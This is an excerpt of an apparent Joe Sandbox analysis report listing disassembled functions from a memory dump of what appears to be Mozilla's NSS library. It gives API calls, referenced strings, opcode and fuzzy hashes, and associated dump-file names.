PK11_DoesMechanism.NSS3(?,00000121), ref: 6C62CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6C62CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6C62CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6C62CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6C62CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6C62CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6C62CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6C62D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6C62D021

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: ad6c4d7f6f27d48ada42364c7d96081cfc04fc43f224e9fd58374d58f57d64cc
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 4C318871F5292027EF4D145A6C21FDE254A4F6730EF544038F90AE67C0FA899B1742ED

Function 6C700FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C701000

Part of subcall function 6C6B9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C5E1A48), ref: 6C6B9BB3
Part of subcall function 6C6B9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C5E1A48), ref: 6C6B9BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C701016

Part of subcall function 6C69C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C69C2BF

PR_Unlock.NSS3(?), ref: 6C701021

Part of subcall function 6C69DD70: TlsGetValue.KERNEL32 ref: 6C69DD8C
Part of subcall function 6C69DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C69DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C701046
PR_Unlock.NSS3(?), ref: 6C70106B
PR_Lock.NSS3 ref: 6C701079
PR_Unlock.NSS3 ref: 6C701096
free.MOZGLUE(?), ref: 6C7010A7
free.MOZGLUE(?), ref: 6C7010B4
PR_DestroyCondVar.NSS3(?), ref: 6C7010BF
PR_DestroyCondVar.NSS3(?), ref: 6C7010CA
PR_DestroyCondVar.NSS3(?), ref: 6C7010D5
PR_DestroyCondVar.NSS3(?), ref: 6C7010E0
PR_DestroyLock.NSS3(?), ref: 6C7010EB
free.MOZGLUE(?), ref: 6C701105

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: aefe57aa92784a2ed12abb2ecc17a0e9c84009c16d9992b1e8e16aee2c036633
Instruction ID: 17a21384eb884527c3e444da7282c04a2eea083164324b52168d5962b07532cb
Opcode Fuzzy Hash: aefe57aa92784a2ed12abb2ecc17a0e9c84009c16d9992b1e8e16aee2c036633
Instruction Fuzzy Hash: BC318AF5A00502ABDB02AF14EE41A45B7B1FF4231DB584135E80952FA1EB72F978DBC6

Function 6C57DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C57DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C57DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C57DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C57DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C57DECD

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C57DF6D, 6C57DFCC, 6C57DFDD
%s at line %d of [%.10s], xrefs: 6C57DF7C, 6C57DFEC
database corruption, xrefs: 6C57DF77, 6C57DFE7

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: c0558721f1a8845780600eb4828a0b99352fc8b85342923c501788c6ce3c0330
Instruction ID: 92829ee612d3716ce59d3fe27252f571ec32906e8e3aed3a13a66ebdde42d0eb
Opcode Fuzzy Hash: c0558721f1a8845780600eb4828a0b99352fc8b85342923c501788c6ce3c0330
Instruction Fuzzy Hash: 58A1F3716043159FC720CF29CD80A6AB7F5AF85308F19892DE8899BB51E730E885CBA1

Function 6C63EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C63EE0B

Part of subcall function 6C650BE0: malloc.MOZGLUE(6C648D2D,?,00000000,?), ref: 6C650BF8
Part of subcall function 6C650BE0: TlsGetValue.KERNEL32(6C648D2D,?,00000000,?), ref: 6C650C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C63EEE1

Part of subcall function 6C631D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C631D7E
Part of subcall function 6C631D50: EnterCriticalSection.KERNEL32(?), ref: 6C631D8E
Part of subcall function 6C631D50: PR_Unlock.NSS3(?), ref: 6C631DD3

TlsGetValue.KERNEL32 ref: 6C63EE51
EnterCriticalSection.KERNEL32(?), ref: 6C63EE65
PR_Unlock.NSS3(?), ref: 6C63EEA2
free.MOZGLUE(?), ref: 6C63EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C63EED0
PR_Unlock.NSS3(?), ref: 6C63EF48
free.MOZGLUE(?), ref: 6C63EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C63EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C63EFA4
free.MOZGLUE(?), ref: 6C63EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C63F055
free.MOZGLUE(?), ref: 6C63F060

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: e40220cc34d101dd5eb9bc4834fb8c72269a2053e072a063137613a451741349
Instruction ID: 159154f89b91d700dc85b8817f12d99cc1a7df973f08025403e8aae071bb1f40
Opcode Fuzzy Hash: e40220cc34d101dd5eb9bc4834fb8c72269a2053e072a063137613a451741349
Instruction Fuzzy Hash: EB81A1B1A00219ABDF00DF64DC80ADE7BB5BF49318F546028E90DA3751E731ED25CBA9

Function 6C604CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C604D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C604D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C604DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C604E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C604E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C604E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C604E85
DER_Encode_Util.NSS3(?,?,6C7505A4,00000000), ref: 6C604EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C604F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C604F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C604F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C604F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C604F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C604FC8

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: eb81b0962d56eda4017a4904fb2a359e5e62325e959b5de3fc5ba11d06859892
Instruction ID: 5e2537165e2b26bf0b931c05cd1d1c7dc392fed975412365b682687d6ba799c4
Opcode Fuzzy Hash: eb81b0962d56eda4017a4904fb2a359e5e62325e959b5de3fc5ba11d06859892
Instruction Fuzzy Hash: 5481F671A08301AFE715CF24D940BABB7E4AFD5308F14852DF958EB640E7B1E905CB9A

Function 6C645C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C645C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C645CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C645CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C645D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C645D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C645D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C645E18
TlsGetValue.KERNEL32 ref: 6C645E5E
EnterCriticalSection.KERNEL32(?), ref: 6C645E72
PR_Unlock.NSS3(?), ref: 6C645E8B

Part of subcall function 6C63F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C63F854
Part of subcall function 6C63F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C63F868
Part of subcall function 6C63F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C63F882
Part of subcall function 6C63F820: free.MOZGLUE(04C483FF,?,?), ref: 6C63F889
Part of subcall function 6C63F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C63F8A4
Part of subcall function 6C63F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C63F8AB
Part of subcall function 6C63F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C63F8C9
Part of subcall function 6C63F820: free.MOZGLUE(280F10EC,?,?), ref: 6C63F8D0

Strings

tokens=[0x%x=<%s>], xrefs: 6C645D3D
d, xrefs: 6C645C36

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 3d71356039a1510b677af6e527bd09a4639e92b2848e9dd4159c77441cd203f1
Instruction ID: 9a4d45878130e7b05ef8868aa5debf6fa10f5e2246681b2ace8037a84d4d00c5
Opcode Fuzzy Hash: 3d71356039a1510b677af6e527bd09a4639e92b2848e9dd4159c77441cd203f1
Instruction Fuzzy Hash: 9271D5F1A05101ABEB00AF24DC45BAE3675AF4631CF14C435E8099AB52EB32E919C79E

Function 6C638F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C639582), ref: 6C638F5B

Part of subcall function 6C64BE30: SECOID_FindOID_Util.NSS3(6C60311B,00000000,?,6C60311B,?), ref: 6C64BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C638F6A

Part of subcall function 6C650FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5F87ED,00000800,6C5EEF74,00000000), ref: 6C651000
Part of subcall function 6C650FF0: PR_NewLock.NSS3(?,00000800,6C5EEF74,00000000), ref: 6C651016
Part of subcall function 6C650FF0: PL_InitArenaPool.NSS3(00000000,security,6C5F87ED,00000008,?,00000800,6C5EEF74,00000000), ref: 6C65102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C638FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C638FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C71D820,6C639576), ref: 6C638FF9
DER_GetInteger_Util.NSS3(?), ref: 6C63901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C63903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C639062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C6390A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C6390CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C6390F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C63912D
free.MOZGLUE(00000000), ref: 6C639136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C639145

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 095ba0dbefd21b99465115b2d0c5675991dc9c13ed435e20a08202019171be40
Instruction ID: abf22e6ce00bf39692f03c8da254004a8fe4e8cebd4185f6fd176d1534c2d605
Opcode Fuzzy Hash: 095ba0dbefd21b99465115b2d0c5675991dc9c13ed435e20a08202019171be40
Instruction Fuzzy Hash: 925103B2A042109BEB00CF28DC81B9BB7E4AF9535CF045529EC58D7711EB31E949CF9A

Function 6C62ADC0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C62ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C62AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C62AE29

Part of subcall function 6C70D930: PL_strncpyz.NSS3(?,?,?), ref: 6C70D963

PR_LogPrint.NSS3(?,00000000), ref: 6C62AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C62AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C62AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C62AEA0

Strings

npl, xrefs: 6C62AEB8, 6C62AEE6
C_MessageSignInit, xrefs: 6C62ADE1
(CK_INVALID_HANDLE), xrefs: 6C62AE1F, 6C62AE80
hKey = 0x%x, xrefs: 6C62AE62, 6C62AE72
hSession = 0x%x, xrefs: 6C62AE01, 6C62AE11

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit$npl
API String ID: 332880674-3802556270
Opcode ID: 3fb94c9ff725abc06b478fd4fe6ed057906ac2e31701066433866bcc2e1c9551
Instruction ID: a40e1c1ff33b802336662b3add55eac1727f967f383ac2a92722c1052430ec7f
Opcode Fuzzy Hash: 3fb94c9ff725abc06b478fd4fe6ed057906ac2e31701066433866bcc2e1c9551
Instruction Fuzzy Hash: 3131E7B1601204AFDB009F54DD8CBAB37B5AB4631DF884435E4096BB12DF78990ADF9A

Function 6C629EE0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6C629F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C629F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C629F49

Part of subcall function 6C70D930: PL_strncpyz.NSS3(?,?,?), ref: 6C70D963

PR_LogPrint.NSS3(?,00000000), ref: 6C629F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C629F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C629FAA
PR_LogPrint.NSS3(?,00000000), ref: 6C629FC0

Strings

npl, xrefs: 6C629FD8, 6C62A006
(CK_INVALID_HANDLE), xrefs: 6C629F3F, 6C629FA0
C_MessageEncryptInit, xrefs: 6C629F01
hKey = 0x%x, xrefs: 6C629F82, 6C629F92
hSession = 0x%x, xrefs: 6C629F21, 6C629F31

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit$npl
API String ID: 332880674-3471353722
Opcode ID: b1dcd7668e9938f95e0ea7c3d155b21a3d456428171ee1b03e6b56df118153f7
Instruction ID: f4f70ece6ed688351c58db7b3f226572005913930602a390092e1ccf997e503e
Opcode Fuzzy Hash: b1dcd7668e9938f95e0ea7c3d155b21a3d456428171ee1b03e6b56df118153f7
Instruction Fuzzy Hash: 2331D3B1A01244ABDB10DF64DD8CFAF77B5AB8631DF484035E40867B51DF389908CB9A

Function 6C622DD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C622DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C622E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C622E33

Part of subcall function 6C70D930: PL_strncpyz.NSS3(?,?,?), ref: 6C70D963

PR_LogPrint.NSS3(?,00000000), ref: 6C622E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C622E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C622E81

Strings

ulPinLen = %d, xrefs: 6C622E7C
npl, xrefs: 6C622E99, 6C622EC4
C_InitPIN, xrefs: 6C622DF1
(CK_INVALID_HANDLE), xrefs: 6C622E2C
pPin = 0x%p, xrefs: 6C622E63
hSession = 0x%x, xrefs: 6C622E0E, 6C622E1E

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN$npl
API String ID: 1003633598-1622512648
Opcode ID: 32da93497c877d2db951e9ed074d96f64b046d25bd255245752cc7a4a4614ff5
Instruction ID: e054e398b1dec6ea58abcef9002bc557db92ea19c707b560d1004b788fd89832
Opcode Fuzzy Hash: 32da93497c877d2db951e9ed074d96f64b046d25bd255245752cc7a4a4614ff5
Instruction Fuzzy Hash: 7331F3B1A11104AFDB109F54DD4CB8B3BB5EB4636CF884035E808A7B11DF349909CFAA

Function 6C627E00 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6C627E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C627E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C627E63

Part of subcall function 6C70D930: PL_strncpyz.NSS3(?,?,?), ref: 6C70D963

PR_LogPrint.NSS3(?,00000000), ref: 6C627E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C627E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C627EB1

Strings

npl, xrefs: 6C627EC9, 6C627EF7
(CK_INVALID_HANDLE), xrefs: 6C627E5C
ulPartLen = %d, xrefs: 6C627EAC
C_VerifyUpdate, xrefs: 6C627E21
pPart = 0x%p, xrefs: 6C627E93
hSession = 0x%x, xrefs: 6C627E3E, 6C627E4E

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate$npl
API String ID: 1003633598-981392932
Opcode ID: 3a3cd69e1fd528a28d6331e02263f5e24a27bb56e6b04168e4698ba31f688c32
Instruction ID: 62d0815e23a793c1861e94fcefeb9f3fea9023adbf78770858e0ea3203e58cec
Opcode Fuzzy Hash: 3a3cd69e1fd528a28d6331e02263f5e24a27bb56e6b04168e4698ba31f688c32
Instruction Fuzzy Hash: 2231D3B4A01154ABDB009F54DE4CF9B7BB1AB4635CF884035E808A7B11DF34AD09CFAA

Function 6C626EF0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C626F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C626F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C626F53

Part of subcall function 6C70D930: PL_strncpyz.NSS3(?,?,?), ref: 6C70D963

PR_LogPrint.NSS3(?,00000000), ref: 6C626F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C626F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C626FA1

Strings

npl, xrefs: 6C626FB9, 6C626FE7
(CK_INVALID_HANDLE), xrefs: 6C626F4C
C_DigestUpdate, xrefs: 6C626F11
ulPartLen = %d, xrefs: 6C626F9C
pPart = 0x%p, xrefs: 6C626F83
hSession = 0x%x, xrefs: 6C626F2E, 6C626F3E

Memory Dump Source

